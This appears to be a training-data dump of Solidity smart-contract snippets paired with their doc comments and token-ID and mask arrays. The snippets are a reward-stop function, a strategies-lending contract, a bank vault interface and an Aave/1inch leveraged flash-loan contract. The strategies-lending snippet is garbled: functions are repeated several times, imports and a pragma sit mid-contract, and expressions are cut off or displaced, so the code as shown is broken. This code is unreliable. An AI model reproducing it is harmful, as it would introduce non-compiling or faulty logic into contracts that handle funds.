[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 2254, 5034, 3238, 389, 1896, 16936, 1225, 273, 5958, 28, 5193, 3437, 17374, 5292, 11290, 3462, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x363E9489a4ccE10Ee3F86Bc049E08290D1731957/sources/contracts/BenNationInitializable.sol
@notice Stop rewards @dev Only callable by owner/
function stopReward() external onlyOwner { endBlock = block.number; }
8,341,016
[ 1, 4947, 283, 6397, 225, 5098, 4140, 635, 3410, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 2132, 17631, 1060, 1435, 3903, 1338, 5541, 288, 203, 565, 679, 1768, 273, 1203, 18, 2696, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/11155111/0x76Ca4d921dF3b1dDed488C2Ed62D3b52695fa3f3/sources/src/lending/StrategiesLender.sol
Lender contract which targeted to lend specifically for investments strategies. Basically represent specific case of implementation of whitelist not colletaraized lending contract.
abstract contract StrategiesLender is IStrategiesLender, Lender, OwnableUpgradeable { using AddressList for address[]; address[] public withdrawalQueue; uint256[50] private __gap; event StrategyAdded(address indexed strategy, uint256 debtRatio); event StrategyRevoked(address indexed strategy); event StrategyRemoved(address indexed strategy, bool fromQueueOnly); event StrategyReturnedToQueue(address indexed strategy); event WinthdrawnFromStrategy(address indexed strategy, uint256 requiredAmount, uint256 withdrawnAmount, uint256 loss); pragma solidity ^0.8.19; import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import {MathUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/math/MathUpgradeable.sol"; import {Lender, BorrowerDoesNotExist} from "./Lender.sol"; import {ILender} from "./ILender.sol"; import {IStrategiesLender} from "./IStrategiesLender.sol"; import {IStrategy} from "../strategies/IStrategy.sol"; import {AddressList} from "../structures/AddressList.sol"; modifier onlyOwnerOrStrategy(address strategy) { if (msg.sender != owner() && msg.sender != strategy) { revert AccessDeniedForCaller(msg.sender); } _; } modifier onlyOwnerOrStrategy(address strategy) { if (msg.sender != owner() && msg.sender != strategy) { revert AccessDeniedForCaller(msg.sender); } _; } function __StrategiesLender_init() internal onlyInitializing { __Ownable_init(); __StrategiesLender_init_lenderSpecific(); } function __StrategiesLender_init_lenderSpecific() internal onlyInitializing { require(owner() != address(0), "StrategiesLender must be ownable"); __Lender_init(); } function setEmergencyShutdown(bool shutdown) external onlyOwner { shutdown ? _pause() : _unpause(); } function addStrategy(address strategy, uint256 debtRatio) external onlyOwner whenNotPaused { if (strategy == address(0)) { revert UnexpectedZeroAddress(); } _beforeStrategyRegistered(IStrategy(strategy)); _registerBorrower(strategy, debtRatio); withdrawalQueue.add(strategy); emit StrategyAdded(strategy, debtRatio); } function addStrategy(address strategy, uint256 debtRatio) external onlyOwner whenNotPaused { if (strategy == address(0)) { revert UnexpectedZeroAddress(); } _beforeStrategyRegistered(IStrategy(strategy)); _registerBorrower(strategy, debtRatio); withdrawalQueue.add(strategy); emit StrategyAdded(strategy, debtRatio); } function _beforeStrategyRegistered(IStrategy strategy) internal virtual; function addStrategyToQueue(address strategy) external onlyOwner { if (strategy == address(0)) { revert UnexpectedZeroAddress(); } if (withdrawalQueue.contains(strategy)) { revert StrategyAlreadyExists(); } if (borrowersData[strategy].activationTimestamp == 0) { revert BorrowerDoesNotExist(); } withdrawalQueue.add(strategy); emit StrategyReturnedToQueue(strategy); } function _beforeStrategyRegistered(IStrategy strategy) internal virtual; function addStrategyToQueue(address strategy) external onlyOwner { if (strategy == address(0)) { revert UnexpectedZeroAddress(); } if (withdrawalQueue.contains(strategy)) { revert StrategyAlreadyExists(); } if (borrowersData[strategy].activationTimestamp == 0) { revert BorrowerDoesNotExist(); } withdrawalQueue.add(strategy); emit StrategyReturnedToQueue(strategy); } function _beforeStrategyRegistered(IStrategy strategy) internal virtual; function addStrategyToQueue(address strategy) external onlyOwner { if (strategy == address(0)) { revert UnexpectedZeroAddress(); } if (withdrawalQueue.contains(strategy)) { revert StrategyAlreadyExists(); } if (borrowersData[strategy].activationTimestamp == 0) { revert BorrowerDoesNotExist(); } withdrawalQueue.add(strategy); emit StrategyReturnedToQueue(strategy); } function _beforeStrategyRegistered(IStrategy strategy) internal virtual; function addStrategyToQueue(address strategy) external onlyOwner { if (strategy == address(0)) { revert UnexpectedZeroAddress(); } if (withdrawalQueue.contains(strategy)) { revert StrategyAlreadyExists(); } if (borrowersData[strategy].activationTimestamp == 0) { revert BorrowerDoesNotExist(); } withdrawalQueue.add(strategy); emit StrategyReturnedToQueue(strategy); } function revokeStrategy(address strategy) external onlyOwnerOrStrategy(strategy) { _setBorrowerDebtRatio(strategy, 0); emit StrategyRevoked(strategy); } function removeStrategy(address strategy, bool fromQueueOnly) external onlyOwner { bool removedFromQueue = withdrawalQueue.remove(strategy); if (!removedFromQueue) { revert StrategyNotFound(); } if (!fromQueueOnly) { _unregisterBorrower(strategy); } emit StrategyRemoved(strategy, fromQueueOnly); } function removeStrategy(address strategy, bool fromQueueOnly) external onlyOwner { bool removedFromQueue = withdrawalQueue.remove(strategy); if (!removedFromQueue) { revert StrategyNotFound(); } if (!fromQueueOnly) { _unregisterBorrower(strategy); } emit StrategyRemoved(strategy, fromQueueOnly); } function removeStrategy(address strategy, bool fromQueueOnly) external onlyOwner { bool removedFromQueue = withdrawalQueue.remove(strategy); if (!removedFromQueue) { revert StrategyNotFound(); } if (!fromQueueOnly) { _unregisterBorrower(strategy); } emit StrategyRemoved(strategy, fromQueueOnly); } function _withdrawFromAllStrategies(uint256 assets) internal returns (uint256 totalLoss) { for (uint256 i = 0; i < withdrawalQueue.length; i++) { uint256 vaultBalance = _freeAssets(); if (assets <= vaultBalance) { break; } address strategy = withdrawalQueue[i]; assets - vaultBalance, borrowersData[strategy].debt ); if (requiredAmount == 0) { continue; } totalLoss += withdrawFromStrategy(IStrategy(strategy), requiredAmount); } } function _withdrawFromAllStrategies(uint256 assets) internal returns (uint256 totalLoss) { for (uint256 i = 0; i < withdrawalQueue.length; i++) { uint256 vaultBalance = _freeAssets(); if (assets <= vaultBalance) { break; } address strategy = withdrawalQueue[i]; assets - vaultBalance, borrowersData[strategy].debt ); if (requiredAmount == 0) { continue; } totalLoss += withdrawFromStrategy(IStrategy(strategy), requiredAmount); } } function _withdrawFromAllStrategies(uint256 assets) internal returns (uint256 totalLoss) { for (uint256 i = 0; i < withdrawalQueue.length; i++) { uint256 vaultBalance = _freeAssets(); if (assets <= vaultBalance) { break; } address strategy = withdrawalQueue[i]; assets - vaultBalance, borrowersData[strategy].debt ); if (requiredAmount == 0) { continue; } totalLoss += withdrawFromStrategy(IStrategy(strategy), requiredAmount); } } uint256 requiredAmount = MathUpgradeable.min( function _withdrawFromAllStrategies(uint256 assets) internal returns (uint256 totalLoss) { for (uint256 i = 0; i < withdrawalQueue.length; i++) { uint256 vaultBalance = _freeAssets(); if (assets <= vaultBalance) { break; } address strategy = withdrawalQueue[i]; assets - vaultBalance, borrowersData[strategy].debt ); if (requiredAmount == 0) { continue; } totalLoss += withdrawFromStrategy(IStrategy(strategy), requiredAmount); } } function withdrawFromStrategy(IStrategy strategy, uint256 requiredAmount) internal returns (uint256) { uint256 balanceBefore = _freeAssets(); uint256 loss = strategy.withdraw(requiredAmount); uint256 withdrawnAmount = _freeAssets() - balanceBefore; if (loss > 0) { _decreaseBorrowerCredibility(address(strategy), loss); } emit WinthdrawnFromStrategy(address(strategy), requiredAmount, withdrawnAmount, loss); return loss; } function withdrawFromStrategy(IStrategy strategy, uint256 requiredAmount) internal returns (uint256) { uint256 balanceBefore = _freeAssets(); uint256 loss = strategy.withdraw(requiredAmount); uint256 withdrawnAmount = _freeAssets() - balanceBefore; if (loss > 0) { _decreaseBorrowerCredibility(address(strategy), loss); } emit WinthdrawnFromStrategy(address(strategy), requiredAmount, withdrawnAmount, loss); return loss; } _decreaseDebt(address(strategy), withdrawnAmount); function reorderWithdrawalQueue(address[] memory queue) external onlyOwner { withdrawalQueue = withdrawalQueue.reorder(queue); } function getQueueSize() external view returns (uint256) { return withdrawalQueue.length; } function setBorrowerDebtRatio(address borrower, uint256 borrowerDebtRatio) external onlyOwner { _setBorrowerDebtRatio(borrower, borrowerDebtRatio); } function interestRatePerBlock() public view returns (uint256, uint256) { uint256 totalUtilisationRate; uint256 totalInterestRate; if(totalDebt == 0) { return (0, 0); } for (uint256 i = 0; i < withdrawalQueue.length; i++) { IStrategy strategy = IStrategy(withdrawalQueue[i]); totalUtilisationRate += utilisationRate; totalInterestRate += utilisationRate * strategy.interestRatePerBlock() / MAX_BPS; } if (totalUtilisationRate == 0) { return (0, 0); } return (totalInterestRate, totalUtilisationRate); } function interestRatePerBlock() public view returns (uint256, uint256) { uint256 totalUtilisationRate; uint256 totalInterestRate; if(totalDebt == 0) { return (0, 0); } for (uint256 i = 0; i < withdrawalQueue.length; i++) { IStrategy strategy = IStrategy(withdrawalQueue[i]); totalUtilisationRate += utilisationRate; totalInterestRate += utilisationRate * strategy.interestRatePerBlock() / MAX_BPS; } if (totalUtilisationRate == 0) { return (0, 0); } return (totalInterestRate, totalUtilisationRate); } function interestRatePerBlock() public view returns (uint256, uint256) { uint256 totalUtilisationRate; uint256 totalInterestRate; if(totalDebt == 0) { return (0, 0); } for (uint256 i = 0; i < withdrawalQueue.length; i++) { IStrategy strategy = IStrategy(withdrawalQueue[i]); totalUtilisationRate += utilisationRate; totalInterestRate += utilisationRate * strategy.interestRatePerBlock() / MAX_BPS; } if (totalUtilisationRate == 0) { return (0, 0); } return (totalInterestRate, totalUtilisationRate); } function interestRatePerBlock() public view returns (uint256, uint256) { uint256 totalUtilisationRate; uint256 totalInterestRate; if(totalDebt == 0) { return (0, 0); } for (uint256 i = 0; i < withdrawalQueue.length; i++) { IStrategy strategy = IStrategy(withdrawalQueue[i]); totalUtilisationRate += utilisationRate; totalInterestRate += utilisationRate * strategy.interestRatePerBlock() / MAX_BPS; } if (totalUtilisationRate == 0) { return (0, 0); } return (totalInterestRate, totalUtilisationRate); } function paused() public view override(ILender, Lender) virtual returns (bool) { return super.paused(); } }
3,825,165
[ 1, 48, 2345, 6835, 1492, 20715, 358, 328, 409, 21195, 364, 2198, 395, 1346, 20417, 18, 7651, 1230, 2406, 2923, 648, 434, 4471, 434, 10734, 486, 645, 1810, 297, 69, 1235, 328, 2846, 6835, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 3978, 15127, 48, 2345, 353, 467, 1585, 15127, 48, 2345, 16, 511, 2345, 16, 14223, 6914, 10784, 429, 288, 203, 203, 565, 1450, 5267, 682, 364, 1758, 8526, 31, 203, 203, 565, 1758, 8526, 1071, 598, 9446, 287, 3183, 31, 203, 203, 565, 2254, 5034, 63, 3361, 65, 3238, 1001, 14048, 31, 203, 203, 565, 871, 19736, 8602, 12, 2867, 8808, 6252, 16, 2254, 5034, 18202, 88, 8541, 1769, 203, 203, 565, 871, 19736, 10070, 14276, 12, 2867, 8808, 6252, 1769, 203, 203, 565, 871, 19736, 10026, 12, 2867, 8808, 6252, 16, 1426, 628, 3183, 3386, 1769, 203, 203, 565, 871, 19736, 22360, 774, 3183, 12, 2867, 8808, 6252, 1769, 203, 203, 565, 871, 21628, 451, 9446, 82, 1265, 4525, 12, 2867, 8808, 6252, 16, 2254, 5034, 1931, 6275, 16, 2254, 5034, 598, 9446, 82, 6275, 16, 2254, 5034, 8324, 1769, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 3657, 31, 203, 5666, 288, 5460, 429, 10784, 429, 97, 628, 8787, 3190, 94, 881, 84, 292, 267, 19, 16351, 87, 17, 15097, 429, 19, 3860, 19, 5460, 429, 10784, 429, 18, 18281, 14432, 203, 5666, 288, 10477, 10784, 429, 97, 628, 8787, 3190, 94, 881, 84, 292, 267, 19, 16351, 87, 17, 15097, 429, 19, 5471, 19, 15949, 19, 10477, 10784, 429, 18, 18281, 14432, 203, 5666, 288, 48, 2345, 16, 605, 15318, 264, 15264, 97, 628, 25165, 48, 2345, 18, 18281, 14432, 203, 5666, 288, 2627, 2345, 97, 628, 25165, 2627, 2345, 18, 18281, 14432, 203, 5666, 288, 2 ]
// SPDX-License-Identifier: MIT // ██████████████ ▐████▌ ██████████████ // ██████████████ ▐████▌ ██████████████ // ▐████▌ ▐████▌ // ▐████▌ ▐████▌ // ██████████████ ▐████▌ ██████████████ // ██████████████ ▐████▌ ██████████████ // ▐████▌ ▐████▌ // ▐████▌ ▐████▌ // ▐████▌ ▐████▌ // ▐████▌ ▐████▌ // ▐████▌ ▐████▌ // ▐████▌ ▐████▌ pragma solidity 0.8.4; /// @title Bank Vault interface /// @notice `IVault` is an interface for a smart contract consuming Bank /// balances allowing the smart contract to receive Bank balances right /// after sweeping the deposit by the Bridge. This method allows the /// depositor to route their deposit revealed to the Bridge to the /// particular smart contract in the same transaction the deposit is /// revealed. This way, the depositor does not have to execute /// additional transaction after the deposit gets swept by the Bridge. interface IVault { /// @notice Called by the Bank in `increaseBalanceAndCall` function after /// increasing the balance in the Bank for the vault. /// @param depositors Addresses of depositors whose deposits have been swept /// @param depositedAmounts Amounts deposited by individual depositors and /// swept /// @dev The implementation must ensure this function can only be called /// by the Bank. function onBalanceIncreased( address[] calldata depositors, uint256[] calldata depositedAmounts ) external; }
@title Bank Vault interface @notice `IVault` is an interface for a smart contract consuming Bank balances allowing the smart contract to receive Bank balances right after sweeping the deposit by the Bridge. This method allows the depositor to route their deposit revealed to the Bridge to the particular smart contract in the same transaction the deposit is revealed. This way, the depositor does not have to execute additional transaction after the deposit gets swept by the Bridge.
interface IVault { function onBalanceIncreased( address[] calldata depositors, uint256[] calldata depositedAmounts ) external; }
909,405
[ 1, 16040, 17329, 1560, 225, 1375, 8188, 3714, 68, 353, 392, 1560, 364, 279, 13706, 6835, 27815, 25610, 540, 324, 26488, 15632, 326, 13706, 6835, 358, 6798, 25610, 324, 26488, 2145, 540, 1839, 17462, 310, 326, 443, 1724, 635, 326, 24219, 18, 1220, 707, 5360, 326, 540, 443, 1724, 280, 358, 1946, 3675, 443, 1724, 283, 537, 18931, 358, 326, 24219, 358, 326, 540, 6826, 13706, 6835, 316, 326, 1967, 2492, 326, 443, 1724, 353, 540, 283, 537, 18931, 18, 1220, 4031, 16, 326, 443, 1724, 280, 1552, 486, 1240, 358, 1836, 540, 3312, 2492, 1839, 326, 443, 1724, 5571, 1352, 73, 337, 635, 326, 24219, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 467, 12003, 288, 203, 565, 445, 603, 13937, 27597, 8905, 12, 203, 3639, 1758, 8526, 745, 892, 443, 1724, 1383, 16, 203, 3639, 2254, 5034, 8526, 745, 892, 443, 1724, 329, 6275, 87, 203, 565, 262, 3903, 31, 203, 203, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.5; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {FlashLoanReceiverBase} from "./FlashLoanReceiverBase.sol"; import {ILendingPool} from "../interfaces/ILendingPool.sol"; import {IOneSplit} from "../interfaces/IOneSplit.sol"; import {IPosition} from "../interfaces/IPosition.sol"; contract LeveredFlashLoan is FlashLoanReceiverBase { using SafeMath for uint256; using SafeERC20 for IERC20; uint16 public referralCodeAave; address public referralOneInch; IOneSplit public oneInchProtocol; function initializeReferral( uint16 _referralCode, address _referral, address oneInch ) internal { referralCodeAave = _referralCode; referralOneInch = _referral; oneInchProtocol = IOneSplit(oneInch); } function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require( address(LENDING_POOL) == msg.sender, "LeveredFlashLoan: msg.sender not LENDING_POOL" ); require( initiator == address(this), "LeveredFlashLoan: initiator not address(this)" ); ( bool isOpen, address[] memory addressArray, uint256[] memory uintArray ) = abi.decode(params, (bool, address[], uint256[])); if (isOpen) { openFlashLoan(assets, amounts, premiums, addressArray, uintArray); } else { closeFlashLoan(assets, amounts, premiums, addressArray, uintArray); } return true; } function openFlashLoan( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address[] memory addressArray, uint256[] memory uintArray ) private { IERC20 receivedAsset = IERC20(assets[0]); IERC20 newAsset = IERC20(addressArray[1]); uint256 totalAmount = uintArray[1].add(amounts[0]); uint256 amountOwing = amounts[0].add(premiums[0]); // Swap totalAmount of receivedAsset to newAsset receivedAsset.approve(address(oneInchProtocol), totalAmount); (, uint256[] memory distribution) = oneInchProtocol.getExpectedReturn( receivedAsset, newAsset, totalAmount, uintArray[2], 0 ); oneInchProtocol.swap( receivedAsset, newAsset, totalAmount, uintArray[3], distribution, 0 ); uint256 returnAmount = newAsset.balanceOf(address(this)); // Deposit returnAmount to LENDING_POOL IERC20(addressArray[1]).approve(address(LENDING_POOL), returnAmount); LENDING_POOL.deposit( addressArray[1], returnAmount, addressArray[0], referralCodeAave ); // Borrow amountOwing from newPosition IPosition(addressArray[0]).borrow( address(LENDING_POOL), address(receivedAsset), amountOwing, uintArray[0], referralCodeAave, addressArray[0] ); // Return flashLoan receivedAsset.approve(address(LENDING_POOL), amountOwing); } function closeFlashLoan( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address[] memory addressArray, uint256[] memory uintArray ) private { IERC20 receivedAsset = IERC20(assets[0]); IERC20 newAsset = IERC20(addressArray[1]); uint256 amountOwing = amounts[0].add(premiums[0]); // Repay receivedAsset.approve(address(LENDING_POOL), amounts[0]); LENDING_POOL.repay( address(receivedAsset), amounts[0], uintArray[0], addressArray[0] ); // Withdraw all uint256 withdrawalAmount = IPosition(addressArray[0]).withdraw( address(LENDING_POOL), address(newAsset), addressArray[2], type(uint256).max, address(this) ); // Swap newAsset.approve(address(oneInchProtocol), withdrawalAmount); (, uint256[] memory distribution) = oneInchProtocol.getExpectedReturn( newAsset, receivedAsset, withdrawalAmount, uintArray[1], 0 ); //uint256 returnAmount = oneInchProtocol.swap( newAsset, receivedAsset, withdrawalAmount, uintArray[2], distribution, 0 ); uint256 returnAmount = receivedAsset.balanceOf(address(this)); // Pay back user receivedAsset.transfer(addressArray[3], returnAmount.sub(amountOwing)); // Return flashLoan receivedAsset.approve(address(LENDING_POOL), amountOwing); } }
Swap totalAmount of receivedAsset to newAsset Deposit returnAmount to LENDING_POOL Borrow amountOwing from newPosition Return flashLoan
function openFlashLoan( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address[] memory addressArray, uint256[] memory uintArray ) private { IERC20 receivedAsset = IERC20(assets[0]); IERC20 newAsset = IERC20(addressArray[1]); uint256 totalAmount = uintArray[1].add(amounts[0]); uint256 amountOwing = amounts[0].add(premiums[0]); receivedAsset.approve(address(oneInchProtocol), totalAmount); (, uint256[] memory distribution) = oneInchProtocol.getExpectedReturn( receivedAsset, newAsset, totalAmount, uintArray[2], 0 ); oneInchProtocol.swap( receivedAsset, newAsset, totalAmount, uintArray[3], distribution, 0 ); uint256 returnAmount = newAsset.balanceOf(address(this)); IERC20(addressArray[1]).approve(address(LENDING_POOL), returnAmount); LENDING_POOL.deposit( addressArray[1], returnAmount, addressArray[0], referralCodeAave ); IPosition(addressArray[0]).borrow( address(LENDING_POOL), address(receivedAsset), amountOwing, uintArray[0], referralCodeAave, addressArray[0] ); receivedAsset.approve(address(LENDING_POOL), amountOwing); }
2,501,042
[ 1, 12521, 2078, 6275, 434, 5079, 6672, 358, 394, 6672, 4019, 538, 305, 327, 6275, 358, 511, 12280, 67, 20339, 605, 15318, 3844, 3494, 310, 628, 31845, 2000, 9563, 1504, 304, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
